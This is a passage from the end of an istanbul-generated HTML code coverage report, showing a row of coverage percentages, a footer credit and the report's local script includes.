style="width:93%;"></div></div></td> <td data-value="7.55" class="pct low">7.55%</td> <td data-value="53" class="abs low">4/53</td> <td data-value="0" class="pct low">0%</td> <td data-value="36" class="abs low">0/36</td> <td data-value="0" class="pct low">0%</td> <td data-value="11" class="abs low">0/11</td> <td data-value="8.16" class="pct low">8.16%</td> <td data-value="49" class="abs low">4/49</td> </tr> </tbody> </table> </div><div class='push'></div><!-- for sticky footer --> </div><!-- /wrapper --> <div class='footer quiet pad2 space-top1 center small'> Code coverage generated by <a href="https://istanbul.js.org/" target="_blank">istanbul</a> at Thu Apr 19 2018 20:20:29 GMT-0400 (EDT) </div> </div> <script src="../../../prettify.js"></script> <script> window.onload = function () { if (typeof prettyPrint === 'function') { prettyPrint(); } }; </script> <script src="../../../sorter.js"></script> <script src="../../../block-navigation.js"></script> </body> </html>
{ "pile_set_name": "Github" }